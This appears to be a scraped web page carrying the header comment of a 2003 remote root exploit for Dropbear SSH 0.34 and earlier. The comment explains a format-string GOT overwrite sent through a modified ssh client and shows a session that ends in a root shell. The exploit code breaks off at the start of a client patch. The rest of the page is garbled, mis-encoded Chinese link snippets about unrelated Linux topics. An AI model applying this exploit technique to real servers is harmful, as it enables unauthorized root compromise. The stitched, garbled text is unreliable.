Linux x86 Dropbear SSH <= 0.34 remote root exploit
/*
* /*
* Linux x86 Dropbear SSH <= 0.34 remote root exploit
* coded by live
*
* You'll need a hacked ssh client to try this out. I included a patch
* to openssh-3.6.p1 somewhere below this comment.
*
* The point is: the buffer being exploited is too small(25 bytes) to hold our
* shellcode, so a workaround was needed in order to send it. What I did here
* was to hack the ssh client so that it sends the local environment variable
* SHELLCODE as ssh's methodname string. This method was described by Joel
* Eriksson @ 0xbadc0ded.org.
*
* The 25 bytes limitation is also the reason for the the strange ``2 byte''
* retaddr you will see here. That's not enough for complete pointer overwrite,
* so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is
* around ;)
*
* % telnet localhost 22
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* SSH-2.0-dropbear_0.34
* ^]
* telnet> quit
* Connection closed.
*
* % objdump -R /usr/local/sbin/dropbear| grep malloc
* 080673bc R_386_JUMP_SLOT malloc
*
* % drop-root -v24 localhost
* ?.2022u%24$hn@localhost's password:
* Connection closed by 127.0.0.1
*
* % telnet localhost 10275
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id; exit;
* uid=0(root) gid=0(root) groups=0(root)
* Connection closed by foreign host.
*
* In the above example we were able to lookup a suitable .got entry(used as
* retloc here), but this may not be true under a hostile environment. If
* exploiting this remotely I feel like chances would be greater if we attack
* the stack, but that's just a guess.
*
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions.
*
* gr33tz: ppro, alcaloide and friends.
*
* 21.08.2003
* Please do not distribute
*/
/*
--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000
Ïà¹ØÎĵµ£º
7.5. Tasklets »úÖÆ
ÉÏÒ»Ò³
µÚ 7 Õ ʱ¼ä, ÑÓʱ, ºÍÑÓºó¹¤×÷
ÏÂÒ»Ò³
http://lsec.cc.ac.cn/~tengfei/doc/ldd3/index.html
Linux É豸Çý¶¯ Edition 3
7.5. Tasklets »úÖÆ
ÁíÒ»¸öÓйØÓÚ¶¨Ê±ÎÊÌâµÄÄÚºËÉèÊ©ÊÇ tasklet »úÖÆ. Ëü´ó²¿·ÖÓÃÔÚÖжϹÜÀí(ÎÒÃǽ«ÔÚµÚ 10 ÕÂÔٴμûµ½). ......
http://blog.chinaunix.net/u2/69889/showart_971040.html
LinuxÖеŤ×÷¶ÓÁÐ
£Ûǰ¼Ç£ÝLinux×Ô´Ó2.6.20Ö®ºó£¬¹¤×÷¶ÓÁз¢ÉúÁËһЩ±ä»¯£¬Ä¿Ç°´ÓÍøÂçÉÏËÑË÷µÄ×ÊÁÏÒ»°ã¶¼ÊǽéÉÜÀϰ汾µÄ¹¤×÷¶ÓÁУ¬ºÜÉÙ¼ûµ½¶Ôа汾µÄ½éÉÜ¡£±¾ÎĶÔÐÂÀϰ汾¶¼×öÁ˼òÒª¸ÅÊö£¬²¢·Ö±ðÌṩÁ˼òµ¥µÄʵ×÷°¸Àý¡£
********************************** ......
Õýʽ¿ªÊ¼Ó¦ÓÃlinux£¬Êµ¼ù»¹ÊǺÜÖØÒªµÄ£¬ÃüÁî²»ÊDZ³³öÀ´µÄ£¬ÊÇʵ¼ù³öÀ´µÄ
LinuxѧϰµÄ·Ïßͼ£º
1£® ÕÆÎÕÖÁÉÙ50¸öÒÔÉϵij£ÓÃÃüÁî¡£
2£® ÊìϤGnome/KDEµÈX-windows×ÀÃæ»·¾³²Ù×÷ ¡£
3£® ÕÆÎÕ.tgz¡¢.rpmµÈÈí¼þ°üµÄ³£Óð²×°·½·¨
4£® ѧϰÌí¼ÓÍâÉ裬°²×°É豸Çý¶¯³ÌÐò£¨±ÈÈçÍø¿¨£©
5£® ÊìϤGrub/LiloÒýµ¼Æ÷¼°¼òµ¥µÄÐÞ¸´² ......
1)webmin
WebminÊÇĿǰ¹¦ÄÜ×îÇ¿´óµÄ»ùÓÚWebµÄUnixϵͳ¹ÜÀí¹¤¾ß¡£¹ÜÀíԱͨ¹ýä¯ÀÀÆ÷·ÃÎÊWebminµÄ¸÷ÖÖ¹ÜÀí¹¦Äܲ¢Íê³ÉÏàÓ¦µÄ¹ÜÀí¶¯×÷¡£Ä¿Ç°
WebminÖ§³Ö¾ø´ó¶àÊýµÄUnixϵͳ£¬ÕâЩϵͳ³ýÁ˸÷ÖÖ°æ±¾µÄlinuxÒÔÍ⻹°üÀ¨£ºAIX¡¢HPUX¡¢Solaris¡¢Unixware¡¢Irix
ºÍFreeBSDµÈ¡£
Webmin ÈÃÄúÄÜ ......
sambaʵÏÖubuntu¸úwindowsÎļþ¹²Ïí
Ò»£® Samba ¼ò½é
Samba£¨SMBÊÇÆäËõд£© ÊÇÒ»¸öÍøÂç·þÎñÆ÷£¬ÓÃÓÚLinuxºÍWindows¹²ÏíÎļþÖ®Óã»Samba ¼´¿ÉÒÔÓÃÓÚWindowsºÍLinuxÖ®¼äµÄ¹²ÏíÎļþ£¬Ò²Ò»ÑùÓÃÓÚLinuxºÍLinuxÖ®¼äµÄ¹²ÏíÎļþ£»²»¹ý¶ÔÓÚLinuxºÍLinuxÖ®¼ä¹²ÏíÎļþÓиüºÃµÄÍøÂçÎļþϵͳNFS£¬NFSÒ²ÊÇÐèÒª¼ÜÉè·þÎñÆ÷µÄ£»
´ó¼ÒÖª ......